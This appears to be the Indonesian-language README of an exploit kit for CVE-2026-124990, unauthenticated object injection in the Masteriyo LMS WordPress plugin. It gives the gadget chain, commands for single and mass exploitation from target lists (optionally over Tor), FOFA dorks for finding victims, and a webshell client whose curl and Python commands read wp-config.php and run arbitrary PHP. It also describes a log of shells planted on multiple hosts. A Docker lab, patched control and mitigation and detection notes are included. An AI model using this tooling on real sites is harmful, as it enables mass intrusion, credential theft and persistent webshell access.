
PoC and Docker lab for CVE-2026-124990: unauthenticated PHP object injection in Masteriyo LMS <= 3.5.1 leading to file write and RCE, with payload generator and webshell client.
Unauthenticated PHP object injection in the Masteriyo LMS course importer (file
parameter) leads to arbitrary file write and remote code execution. Lab-verified end
to end: uid=<UID>(www-data) from a clean WordPress with no credentials.
learning-management-system <= 3.5.1 · Fixed: 3.5.2# menu (jalur utama)
python3 poc.py
# satu target
python3 poc.py -u https://target # detect saja
python3 poc.py -u https://target --exploit # sampai RCE
# massal
python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3
Menu: 1 single scan · 2 single exploit · 3 mass scan · 4 mass exploit · 0 keluar.
Flag opsional: -U/-P pakai kredensial yang sudah ada (lewati self-register),
--proxy socks5h://127.0.0.1:9050, --timeout 60, --strict, --quiet,
--output out.
Output: out/results.jsonl (satu baris per target, flush+fsync) dan
out/success.txt (satu baris per shell).
| tag | arti |
|---|---|
[SHELL] | OUTCOME_REACHED — webshell aktif, id terbaca |
[RCE] | eksekusi terverifikasi |
[VULN] | trigger terverifikasi, outcome belum |
[PATCHED] | versi >= 3.5.2 (dari readme.txt), sebelum payload dikirim |
[BLOCKED] | endpoint menolak (401/403/WAF) |
[SKIP] | bukan target / plugin tidak ada |
[ASSUMED] | sinyal ada tapi tidak ada bukti eksekusi |
[ERR] | error operasional |
[masteriyo_instructor_registration]. Kirim form tanpa field password → server
generate password → user masteriyo_instructor berstatus ACTIVE dan langsung
login (cookie wordpress_logged_in)./wp-admin/admin-ajax.php?action=rest-nonce atau dashboard).masteriyo/v1/courses/import dengan JSON berisi postmeta = serialized
GuzzleHttp\Cookie\FileCookieJar.CourseImporter::set_post_metas() → maybe_unserialize() → __destruct() →
file_put_contents() menulis PHP di wp-content/uploads/masteriyo/.?c=<base64 cmd> → uid=<UID>(www-data).Detail lengkap + analisis patch: notes/root-cause.md.
poc.py tool utama (menu + flag)
tools/masteriyo_payload.py generator payload (gadget FileCookieJar, varian s:/S:)
lab/docker-compose.yml lab rentan (WP + MySQL + Masteriyo 3.5.1) port 8280
lab/docker-compose.patched.yml kontrol negatif (3.5.2) port 8281
src/x3.5.1, src/x3.5.2 source tree untuk diff
notes/root-cause.md analisa root cause, sink coverage, kontrol negatif
CVE-2026-124990-report.md laporan
Reproduksi penuh dari nol — tiga langkah:
cd lab
./setup/download-plugins.sh # unduh Masteriyo 3.5.1 (rentan) + 3.5.2 (patched) dari wp.org
docker compose -p m124990 -f docker-compose.yml up -d # rentan, :8280
docker compose -p m124990p -f docker-compose.patched.yml up -d # patched, :8281
./setup/provision.sh . m124990 8280 # WP install + plugin aktif + halaman registrasi
./setup/provision.sh . m124990p 8281 # idem untuk kontrol negatif
Wajib beda -p: kedua file memakai nama service yang sama, tanpa -p compose
akan menghapus container project yang lain.
provision.sh menyetel prasyarat exploit yang sebenarnya:
masteriyo_settings.general.registration.enable_instructor_registration=true,
accounts_page.display.enable_instructor_apply=true,
masteriyo_registration_is_generate_password=yes, plus halaman
instructor-registration (shortcode [masteriyo_instructor_registration])
dan account.
Uji:
python3 poc.py -u http://127.0.0.1:8280 --exploit # -> [SHELL]
python3 poc.py -u http://127.0.0.1:8281 --exploit # -> [PATCHED]
3.5.1 (vulnerable) [SHELL] uid=<UID>(www-data) 3/3 run berturut-turut
3.5.2 (patched) [PATCHED] version 3.5.2 tidak ada file, tidak ada shell
Import di 3.5.2 tetap menjawab {"status":"completed"} — sukses import bukan bukti.
Bukti hanya: file tertulis + marker per-attempt + id terbaca.
Update ke 3.5.2+. Kalau belum bisa: matikan
general.registration.enable_instructor_registration, dan batasi registrasi instructor
ke role yang di-approve manual (jangan biarkan pendaftaran mandiri menghasilkan instructor
aktif). Deteksi: POST ke masteriyo/v1/courses/import dengan body memuat
O:31:"GuzzleHttp\Cookie\FileCookieJar".
Mengukur berapa host dari dork yang benar-benar kandidat RCE — tanpa kirim payload.
python3 tools/funnel.py # menu 1/2/3/4/0
python3 tools/funnel.py -u https://site.tld
python3 tools/funnel.py -i hosts.txt --threads 20 --json out.json
Tahap: reachable → plugin → versi <3.5.2 → REST → halaman registrasi+nonce
→ HIGH_HIT. Verdict: HIGH_HIT VULN PATCHED ASSUMED PRO_ONLY NOT_FOUND BLOCKED ERR.
Dork + angka populasi: notes/fofa-dorks-and-hitrate.md.
Password tidak dikirim lewat URL. Shell mengharapkan POST dengan field p:
# manual, tanpa tool
curl -sk -c /tmp/ck -b /tmp/ck -d 'p=PASSWORD' 'URL_SHELL' # login (set cookie sesi)
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL' # identitas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?ls=1&d=/srv/htdocs' # daftar berkas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?read=wp-config.php' # baca berkas
# eksekusi kode PHP (base64 dari kode):
curl -sk -c /tmp/ck -b /tmp/ck "URL_SHELL?php=$(printf 'echo PHP_VERSION;' | base64 -w0)"
GET tanpa login hanya membalas 0xfay-auth — itu normal, bukan shell rusak.
Client siap pakai (tanpa argumen = menu):
python3 tools/ws-client.py # menu 1-6
python3 tools/ws-client.py -u URL -p PASS # identitas
python3 tools/ws-client.py -u URL -p PASS --ls /srv/htdocs
python3 tools/ws-client.py -u URL -p PASS --read wp-config.php
python3 tools/ws-client.py -u URL -p PASS --get readme.txt # download
python3 tools/ws-client.py -u URL -p PASS --php 'echo PHP_VERSION;'
python3 tools/ws-client.py -u URL -p PASS # shell interaktif
URL + password terakhir tersimpan di work/SHELL-FINAL.txt; menu membacanya
otomatis. Untuk mengganti target, isi manual saat diminta.
Catatan penting di target ini: sandbox memblokir fork, jadi perintah OS kosong.
Pakai --php (eval PHP) atau --ls/--read, bukan cmd/system.
python3 poc.py --cmd 'echo PHP_VERSION;' # pakai shell tersimpan
python3 poc.py --shell URL --shell-pass PASS # identitas
python3 poc.py --shell URL --shell-pass PASS --cmd '<php>' # satu perintah
python3 poc.py # menu -> 5 = shell console
Menu pilihan 5 membuka console: pilih URL (atau Enter untuk memakai yang
tersimpan), lalu ketik kode PHP langsung, !ls <dir>, !read <berkas>, :quit.
Setiap webshell yang berhasil ditanam dicatat di work/SHELLS.txt
(kolom TAB: URL, PASSWORD, HOST, UID):
https://host-a.example/0xfay_cmdXXXX.php passA host-a.example 33
https://host-b.example/0xfay_cmdYYYY.php passB host-b.example <UID>
Menu 5 menampilkan daftar bernomor dan operator memilih yang mana.
--cmd memakai entri pertama (atau work/CMDSHELL.txt bila ada).